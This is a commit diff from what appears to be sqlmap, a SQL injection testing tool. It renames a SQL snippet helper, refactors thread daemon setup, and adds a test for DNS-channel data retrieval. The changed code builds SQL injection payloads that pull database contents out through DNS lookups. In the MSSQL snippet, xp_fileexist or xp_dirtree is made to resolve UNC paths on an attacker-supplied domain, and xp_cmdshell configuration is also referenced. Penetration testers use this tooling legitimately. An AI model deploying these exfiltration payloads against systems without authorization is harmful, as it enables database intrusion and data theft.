minor improvements regarding data retrieval through DNS channel

This commit is contained in:
Miroslav Stampar 2012-04-03 09:18:30 +00:00
parent 46cfa64d81
commit e05109812f
8 changed files with 43 additions and 20 deletions

View File

@ -1599,9 +1599,9 @@ def parseXmlFile(xmlFile, handler):
parse(stream, handler) parse(stream, handler)
stream.close() stream.close()
def getSPLSnippet(dbms, name, **variables): def getSPQLSnippet(dbms, name, **variables):
""" """
Returns content of SPL snippet located inside "procs" directory Returns content of SP(Q)L snippet located inside "procs" directory
""" """
filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], "%s.txt" % name) filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], "%s.txt" % name)

View File

@ -1438,6 +1438,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None kb.dep = None
kb.dnsMode = False kb.dnsMode = False
kb.dnsTest = None
kb.docRoot = None kb.docRoot = None
kb.dumpMode = False kb.dumpMode = False
kb.dynamicMarkings = [] kb.dynamicMarkings = []

View File

@ -92,6 +92,13 @@ def exceptionHandledFunction(threadFunction):
print print
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
def setDaemon(thread):
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
if PYVERSION >= "2.6":
thread.daemon = True
else:
thread.setDaemon(True)
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
threads = [] threads = []
@ -128,11 +135,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
for numThread in xrange(numThreads): for numThread in xrange(numThreads):
thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction])
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation setDaemon(thread)
if PYVERSION >= "2.6":
thread.daemon = True
else:
thread.setDaemon(True)
try: try:
thread.start() thread.start()

View File

@ -90,6 +90,7 @@ class DNSServer:
self._running = False self._running = False
thread = threading.Thread(target=_) thread = threading.Thread(target=_)
thread.daemon = True
thread.start() thread.start()
if __name__ == "__main__": if __name__ == "__main__":

View File

@ -60,8 +60,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
value = None value = None
count = 0 count = 0
if conf.dnsDomain: value = __goDns(payload, expression)
value = dnsUse(payload, expression)
if value is None: if value is None:
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
@ -81,6 +80,26 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
return value return value
def __goDns(payload, expression):
value = None
if conf.dnsDomain and kb.dnsTest is not False:
if kb.dnsTest is None:
randInt = randomInt()
kb.dnsTest = dnsUse(payload, "SELECT %d" % randInt) == str(randInt)
if not kb.dnsTest:
errMsg = "test for data retrieval through DNS channel failed. Turning off DNS exfiltration support"
logger.error(errMsg)
conf.dnsDomain = None
else:
infoMsg = "test for data retrieval through DNS channel was successful"
logger.info(infoMsg)
if kb.dnsTest:
value = dnsUse(payload, expression)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
outputs = [] outputs = []
origExpr = None origExpr = None

View File

@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import getSPLSnippet from lib.core.common import getSPQLSnippet
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import isNoneValue from lib.core.common import isNoneValue
from lib.core.common import pushValue from lib.core.common import pushValue
@ -67,7 +67,7 @@ class xp_cmdshell:
debugMsg += "stored procedure" debugMsg += "stored procedure"
logger.debug(debugMsg) logger.debug(debugMsg)
cmd = getSPLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
return cmd return cmd

View File

@ -17,7 +17,7 @@ from lib.core.common import cleanQuery
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue from lib.core.common import decodeHexValue
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getSPLSnippet from lib.core.common import getSPQLSnippet
from lib.core.common import hashDBRetrieve from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import pushValue from lib.core.common import pushValue
@ -52,7 +52,7 @@ def dnsUse(payload, expression):
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE): if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
output = hashDBRetrieve(expression, checkConf=True) output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output: if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None output = None
if output is None: if output is None:
@ -68,10 +68,9 @@ def dnsUse(payload, expression):
nulledCastedField = agent.hexConvertField(nulledCastedField) nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
expressionUnescaped = unescaper.unescape(expressionRequest) expressionUnescaped = unescaper.unescape(expressionRequest)
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
comment = queries[Backend.getIdentifiedDbms()].comment.query comment = queries[Backend.getIdentifiedDbms()].comment.query
query = agent.prefixQuery("; %s" % expressionUnescaped) query = agent.prefixQuery("; %s" % expressionUnescaped)
@ -96,9 +95,10 @@ def dnsUse(payload, expression):
if output is not None: if output is not None:
retVal = output retVal = output
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if kb.dnsTest is not None:
if count > 0: dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
hashDBWrite(expression, output) if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode: if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
@ -108,6 +108,5 @@ def dnsUse(payload, expression):
warnMsg = "DNS data exfiltration method through SQL injection " warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
conf.dnsDomain = None
return retVal return retVal

View File

@ -1,4 +1,4 @@
DECLARE @host varchar(1024); DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%'; SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"'); EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"');
# or EXEC('xp_dirtree "\\' + @host + '."'); # or EXEC('xp_dirtree "\\' + @host + '."');